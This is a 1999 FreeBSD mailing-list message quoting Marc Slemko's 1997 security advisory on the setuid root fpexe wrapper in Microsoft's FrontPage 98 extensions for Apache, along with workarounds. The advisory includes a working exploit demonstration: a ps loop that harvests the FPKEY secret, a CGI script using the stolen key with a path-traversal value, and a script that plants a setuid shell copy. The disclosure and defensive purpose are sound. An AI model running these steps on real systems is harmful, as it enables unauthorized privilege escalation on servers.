Date: Fri, 12 Mar 1999 15:51:54 +0300 From: "Andrey A. Chernov" <ache@nagual.pp.ru> To: Poul-Henning Kamp <phk@critter.freebsd.dk> Cc: paul@originative.co.uk, marcs@znep.com, dg@root.com, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: Re: BSD/OS compatibility (was: cvs commit: src/sys/i386/conf .. Message-ID: <19990312155153.A39673@nagual.pp.ru> In-Reply-To: <2785.921241544@critter.freebsd.dk>; from phk@critter.freebsd.dk on Fri, Mar 12, 1999 at 01:25:44PM %2B0100 References: <19990312152048.A37814@nagual.pp.ru> <2785.921241544@critter.freebsd.dk>
next in thread | previous in thread | raw e-mail | index | archive | help
On Fri, Mar 12, 1999 at 01:25:44PM +0100, Poul-Henning Kamp wrote:
> Andrey, We're not in the business of selling a religion, we're in the
> business of providing our users with tools and solutions.
It is strange to provide users with the tools that allow anyone to damage
their files, but if you do that, you know, what you do (it seems that now
almost any weirdness can be done for big money). So, just FYI: most
companies which provide free WWW hosting do not allow FrontPage Extensions
for this reason. For some holes description look at:
----------------------------------------------------------------------
Micro$oft's attempt at FrontPage 98 server-side extensions for Apache
Summary
Description: The setuid root program (fpexe) which comes with the
FrontPage extensions is a pathetic joke security-wise, as Marc Slemko
demonstrates.
Author: Marc Slemko <marcs@ZNEP.COM>
Compromise: root (remote)
Vulnerable Systems: Those using the Micro$oft FrontPage extensions to
Apache under UNIX.
Date: 11 October 1997
Details
Date: Sat, 11 Oct 1997 12:56:54 -0600
From: Marc Slemko <marcs@ZNEP.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Huge security holes in Microsoft FP98 server extensions for Apache
[Copies sent to bugtraq, inet-access, freebsd-security, the Apache
development mailing list, and the comp.infosystems.www.servers.unix and
microsoft.public.frontpage.extensions.unix newsgroups.]
Microsoft's FrontPage 98 server side extensions for Apache under Unix
include a small setuid root program (fpexe) to allow the FrontPage CGIs to
be run as the user who owns the pages as opposed to them all running as
the user the web server runs as. This is necessary to get around gaping
loopholes that occur when all FrontPage documents are owned by the user
the web server runs as.
There are, however, gaping holes in this fpexe program that make it easily
exploitable to eventually gain root.
This is only in the FrontPage 98 extensions and is only in the Apache
version; it is completely unrelated to any Apache code and only occurs in
the Apache version simply because that is the only version where this
functionality is provided.
Details are at http://www.worldgate.com/~marcs/fp/
[Here is the page referenced --Fyodor]
Microsoft FrontPage 98 Security Hell
Marc Slemko <marcs@znep.com>
Last Modified: Wed Oct 22 1997
Change History
Sat Oct 11 1997: Initial posting of web page
Wed Oct 15 1997: Microsoft posted a note responding to the issues raised.
I am glad to see that they have plans to release
the source of the revised version for review when it is complete. I will u
pdate this page with further comments when the
fixed version is released.
Wed Oct 22 1997: Microsoft has released a new version of the extensions th
at claim to fix the security issues. I will
comment further on the security of their proposed fix after I have time to
review the changes. Check back here in a few
days for my comments.
Introduction
The information below talks about using Microsoft's FrontPage 98 extensions wit
h Apache on Unix with Microsoft's
mod_frontpage changes. This do not apply to running it on any other server or t
o running it on Unix without the Microsoft
mod_frontpage changes or to running it on Windows NT. There are, however, other
security issues on such servers, some of
which are similar to those in the FrontPage 97 extensions. I should also note t
hat the Unix server extensions seem to be
written in part or completely by Ready-to-Run Software Inc. (RTR) for Microsoft
. I will refer to it as Microsoft's product
because it is, no matter who wrote it. This discussion is specific to the Front
Page 98 extensions. For more general information
on some security problems in earlier versions, some of which are resolved and s
ome of which aren't, see Scott Fritchie's Why
I Don't Like Microsoft's FrontPage Web Authoring Tool web page. Parts of it are
no longer entirely relevant, but it provides a
good background.
It is no secret that the security of the FrontPage 97 and earlier Unix server e
xtensions is quite poor, if Microsoft's instructions
are followed. Some of their instructions were quite hilarious when first releas
ed, like the suggestion of running your web server
as root. It is possible to make them more acceptable--acceptable enough for som
e sites--but it requires careful work by the
administrator.
It had appeared like Microsoft had increased the security of the extensions in
the FP98 version available from Microsoft's
Web Site. However, a closer examination reveals startling flaws. What they have
done is make a small setuid root wrapper that
the web server calls. This wrapper than setuid()s to the appropriate user and r
uns the requested FP CGI as that user. The
problem lies in the fact that the wrapper ("fpexe") is written very poorly. whi
le making such a wrapper secure can be difficult,
the gaping holes in this program show a complete lack of understanding of secur
ity in the Unix environment.
The fpexe program is available for you to inspect yourself. It was originally p
osted in RTR's FrontPage FAQ. This version is
not exactly the same as the one currently distributed (at least it is not the s
ame as the one in the BSD/OS 2.1 kit), but it is
close. Both appear to exhibit the same failings.
When I refer to the FP CGI programs, I am referring to the three files normally
referenced under the _vti_bin directory:
shtml.exe, admin.exe and author.exe.
The key in this discussion is the fact that nothing is stopping anyone from try
ing to run this fpexe wrapper. If they can trick it
into running, they can possible gain privileges they shouldn't.
Details on problems
Before you can understand the holes in the FP server extensions, you need to un
derstand what I mean when I talk about the
"key". When the Frontpage-modified Apache server starts up, it generates a pseu
do-random string of 128 ASCII characters
as a key. This key is written to a file that is only readable by the user that
starts Apache; normally root. The server than passes
the key to fpexe. Since fpexe is setuid root, it can compare the key stored on
disk with the one it was passed to be sure they
match; if not, it refuses to run. This is used in an attempt to guarantee that
the only thing calling fpexe is the web server. Used
properly this is a powerful part of possible security precautions. I am not con
vinced that the generation of the key is
cryptographically adequate and it may be subject to intelligent guessing attack
s, however I have not looked at it to see. As
discussed later, the cryptographical robustness of the key doesn't really matte
r.
There are a number of problems with the setuid root fpexe program. I am not att
empting a complete description of all the
problems and their possible consequences and fixes, just making a light sweep o
ver the top. The more obvious problems
include:
Return codes from library calls are not properly checked. An example:
f = fopen( buf, "r");
fgets( key, 129, f );
fclose(f);
If fopen() failed (easy to make it do so with ulimit -n), then if your sys
tem did not core dump on a fgets() on a closed
descriptor you would end up with an empty key. It is obviously easy to gue
ss an empty key. I am not aware of any systems
that exhibit this exact problem, but it is possible. Return codes need to
be checked, especially in setuid programs.
Proper bounds checking is not done. This leads to obvious buffer overflows
. An example:
strcpy( work, FPDIR );
strcat( work, getenv("FPEXE") );
I won't go into the details of what this does, but if you could cause this
code to be executed, you could insert your own
code on most systems and likely gain access to the UID the program is runn
ing as (root). This proves to be an
unnecessary effort to go to, because this code is only executed if you hav
e the correct key; if you have the correct key,
there are far easier ways to gain access. Buffer overflows are one of the
most popular (albeit normally boring) types of
new holes in programs being publicized.
It does not clean the environment variables before starting the CGI. Again
, this means you can gain access to the UID
that the program runs as (not root). If the rest of the program was secure
ly written, this could possibly be an issue
however it is of little consequence currently due to the gaping holes in o
ther areas.
It assumes that if you have the key, then you are authorized to have it ru
n any program as nearly any user you tell it to.
The process you are running also needs to be in the same process group as
the web server; all CGIs run by the server,
however, are in the same process group so if you can run a CGI script you
can work around the second check. It does no
further checks to be sure you are running as a user that should be allowed
to run FrontPage CGIs (other than disallowing
UID 0; the compiled version also disallows gid 0, however the source versi
on doesn't) or that you are running a
Frontpage related program. This means that if you get the key file, you ca
n gain access to any non-root UID on the
server. On 99% of boxes, that will give you root. For example, if binaries
are owned by bin then become bin and replace
one that is run by root from cron. The possibilities are endless once you
obtain this level of access.
And, finally, the worst: it passes the key to fpexe via an environment var
iable! On most systems, environment variables
are available via "ps -e". This means that anyone with access to run progr
ams on the system (and there are often more
people than you think that are able to do this, due to things such as CGIs
) can see it as it is being passed from the web
server to fpexe. Recall that once you have the key, there is little remain
ing before you can get full access to the system.
Demonstration of an exploit
By now, it should be obvious that there is a serious security problem in the Fr
ontPage 98 server extensions. Here is one
demonstration; do not think that this is the only way or that just because you
prevent one step of this process from working it
is any more difficult to exploit the security holes.
I.First I have to find the key. This can be done by using ps to get the envi
ronment from fpexe. To do this, I first setup a
loop running (this assumes a real aka. Bourne shell; if you use the bastar
d C-shell it obviously won't work as written):
while true; do ps axuwwe -U nobody | grep FPKEY; done
II.Then I used ZeusBench, a very simple HTTP benchmark program, to generate l
oad on the server:
zb localhost /fp/_vti_bin/shtml.exe -c 50 -t 30
Any method of generating traffic could be used, including a web browser. S
ince I am using a very inefficient method of
looking for a process, I need to generate lots of traffic to increase my c
hance of finding one. It certainly isn't likely to
happen on the first request. The requests do have to be made to a FP CGI s
cript so it will call fpexe.
III.Before long, I had what I wanted from ps (manually wrapped):
nobody 28008 0.0 0.2 180 76 ?? DN 6:51PM 0:00.01
SCRIPT_URL=/fp/ SCRIPT_URI=http://localhost/fp/ FPUID=1000 FPGID=1000
FPEXE=/_vti_bin/shtml.exe FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E7
7
3FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049C
D
F760364E59 HTTP_USER_AGENT=ZeusBench/1.0 HTTP_ACCEPT=*/*
PATH=/sbin:/usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/
SERVER_SOFTWARE=Apache/1.2.5-dev SERVER_NAME=localhost SERVER_PORT=80
REMOTE_HOST=localhost REMOTE_ADDR=127.0.0.1
DOCUMENT_ROOT=/usr/local/etc/httpd/htdocs SERVER_ADMIN=marcs@znep.com
SCRIPT_FILENAME=/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpe
xe
REMOTE_PORT=2849 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0
REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/fp/_vti_bin/shtml.exe
SCRIPT_NAME=/fp/_vti_bin/shtml.exe fpexe
IV.Then I need to use the key to make fpexe think I am the web server. I can't
just run this from a normal shell, since I need
to be in the same process group as the web server. A simple CGI suffices:
#!/bin/sh
echo Content-type: text/plain
echo
export FPUID=3;
export FPGID=3;
export FPEXE=../../../../../../../../tmp/gotcha;
export FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E773FAB70794848FDEFB1
73FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CDF760364E59
/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe 2>&1
V.I need a program for it to run (/tmp/gotcha in this example):
#!/bin/sh
/usr/bin/id
cp /bin/sh /tmp/.mysh
chmod u+s /tmp/.mysh
VI.Then I simply make a HTTP request for the CGI script. I can then run /tmp/.
mysh at my leisure to gain access to UID 3
(bin on my system) and do what I want from there.
Fixes
So now you want to fix it. Well. That's the hard part. The only real solution i
s for someone (either Microsoft or a third party)
to do some work to improve the security. It is possible to do this securely. Mi
crosoft hasn't. They have no excuse. This page
will be updated when (if?) better fixes become available.
The Apache web server has a suEXEC wrapper designed to allow for a similar thin
g; that is, execution of CGI scripts under a
user's own UID. It is very restrictive (some would say anal) about what it allo
ws: there is a reason for that, as Microsoft's
obviously failed attempt at security shows. It is possible that suEXEC could be
adapted to function in conjunction with
FrontPage, however it will not work without source modifications.
One short term workaround until Microsoft addresses the issue is to simply remo
ve the FrontPage setup from your system.
This can be done temporarily by removing the setuid bit from fpexe (ie. chmod u
-s fpexe). This will prevent all the pretty
FrontPage CGIs from working. It will prevent people from uploading new pages us
ing FrontPage's own methods (ie. they can
tell FrontPage to use FTP and they will still be uploaded), but generic content
that doesn't rely on FrontPage's server side CGI
scripts should work fine.
Another possible workaround is to prevent users from running the ps command. Th
is could have a very negative impact on
your system if things depend on it, and is a poor solution however it may be th
e best one for you. On systems that don't use a
procfs (/proc) based ps, you can normally simply remove world execute permissio
ns from it to disable it. If you are on a system
like Linux that normally uses a procfs for ps to get information, this doesn't
solve the problem because someone can read from
the procfs directly.
Last of all, since this problem only occurs when using FrontPage with the mod_f
rontpage extensions, it is possible to use the
FrontPage extensions on Apache without using mod_frontpage or fpexe. Unfortunat
ely, this conversion is not easy. It means
that, after recompiling Apache without any of the Microsoft modifications (just
commenting out mod_frontpage from the
Configuration file may be enough; haven't checked) you have to either manually
copy the FrontPage CGIs to the appropriate
subdirectory under each user's web directory and make them setuid to that user
or copy them (or make links) and don't make
them setuid to that user. The former preserves the current ownership. With the
latter all the user's web files will need to be
changed back to being owned by the user the web server runs as or else they wil
l be unable to manipulate them and some of the
FP CGIs won't run correctly. This is a pain and brings you back to the horrible
security practice of letting anyone who can run
CGIs modify any FrontPage user's files. Although this may be the best temporary
workaround (although quite annoying if you
have a large number of users), I can not go into step by step details of how to
accomplish this change because I am not fully
familiar with various ways of using the FrontPage extensions. The Microsoft FP
security considerations document (part of the
FP98 Server Extensions Resource Kit) provides some more details of the method i
n which the CGIs are run without fpexe.
Comments
This sort of continued disregard for security is unacceptable and inexcusable.
It does not take significant knowledge to know
that some of the things being done are flawed. If internal expertise is not ava
ilable, an external consultant should be hired for a
security review of any critical code such as fpexe. This is not rocket science
nor is it particularily advanced programming.
Nothing that I have described above is complicated or new. Code reviews are com
mon practice in many companies and serve
good purpose.
Once Microsoft fixes their glaring holes, assuming they do, I would suggest you
should consider if you want to run their
FrontPage extensions at all. Even though, once fpexe is properly fixed, you onl
y risk the accounts of users using FrontPage
(since that is who the FrontPage CGI scripts run as), that can be a significant
risk. It is very possible that when someone gets
bored they will find a hole in the FrontPage CGI scripts that gives them user l
evel access to your system. And Microsoft
doesn't (and isn't likely to in the future, if their past is any indication) gi
ve the source to those. Microsoft's own source speaks
better for itself than anyone else ever could.
I have this nagging feeling that this will result in Microsoft coming out with
a "fixed" version and not releasing the source to it
at all. After all, it was only after the source came out that these flaws becam
e a problem. Right? Wrong. This was a gaping
hole waiting to be discovered. It would have almost certainly been discovered s
ooner or later regardless of source availability;
better sooner than later. I certainly hope that Microsoft doesn't think the les
son in this is that source should not be released. It
is insecure with or without the source. The FrontPage server extensions aren't
going to find their way anywhere near any
machines I control any time soon because I have no trust in the company behind
them.
On a side note, Microsoft actually modifies the server name returned to clients
when the FrontPage patches are installed in
Apache to include "FrontPage/x.x.x". That is fine, however it gives anyone conn
ecting to your server the ability to determine
the chances of them being able to break into your system using holes in the FP
server extensions.
---------------------------------------------------------------------
--
Andrey A. Chernov
http://nagual.pp.ru/~ache/
MTH/SH/HE S-- W-- N+ PEC>+ D A a++ C G>+ QH+(++) 666+>++ Y
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe cvs-all" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19990312155153.A39673>